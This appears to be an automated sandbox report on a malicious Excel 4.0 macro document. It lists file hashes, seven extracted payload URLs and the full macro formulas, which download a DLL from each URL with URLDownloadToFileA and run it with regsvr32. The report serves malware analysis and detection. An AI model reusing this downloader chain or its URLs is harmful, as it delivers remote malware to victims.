General
-
Target
d072a3284124924672c1429db355757a77b04a33a461fe91b40e06aac278073e
-
Size
35KB
-
MD5
a15f10d00534d87cff1c69de11f39aee
-
SHA1
d78daf15dd2a3a3922fcd024cd91428cc46a9f4c
-
SHA256
d072a3284124924672c1429db355757a77b04a33a461fe91b40e06aac278073e
-
SHA512
b4823a916d7340fb7712519332c826008b40b6c86ed13373fbbc7aefad014b0fb8c130e43ab20b18cd0be217c43eb2dfdd221a11ce8167ede4157a7097510faa
-
SSDEEP
768:whtqi5eiNlAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooood7O:whtqigGUOZZ1ZYpoQ/pMA8i
Malware Config
Extracted
https://bb2play.com/wzzx/9tamtuJMSndL/
https://romusreselling.xyz/wordpress/bSX/
https://localart.net/wp-content/uploads/I4c5SsknUlq/
https://www.crazy97.com/wp-includes/XbbGnN3Xabn7Z/
https://grchen.top/wordpress/bIGq8phSAMn/
https://onceintheflow.com/wp-includes/SimplePie/6XVotHuU/
https://sarc.in/wp-admin/9IDe7r7/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://bb2play.com/wzzx/9tamtuJMSndL/","..\xdha.ocx",0,0) =IF('EGVSBSR'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://romusreselling.xyz/wordpress/bSX/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://localart.net/wp-content/uploads/I4c5SsknUlq/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.crazy97.com/wp-includes/XbbGnN3Xabn7Z/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://grchen.top/wordpress/bIGq8phSAMn/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://onceintheflow.com/wp-includes/SimplePie/6XVotHuU/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://sarc.in/wp-admin/9IDe7r7/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xdha.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
d072a3284124924672c1429db355757a77b04a33a461fe91b40e06aac278073e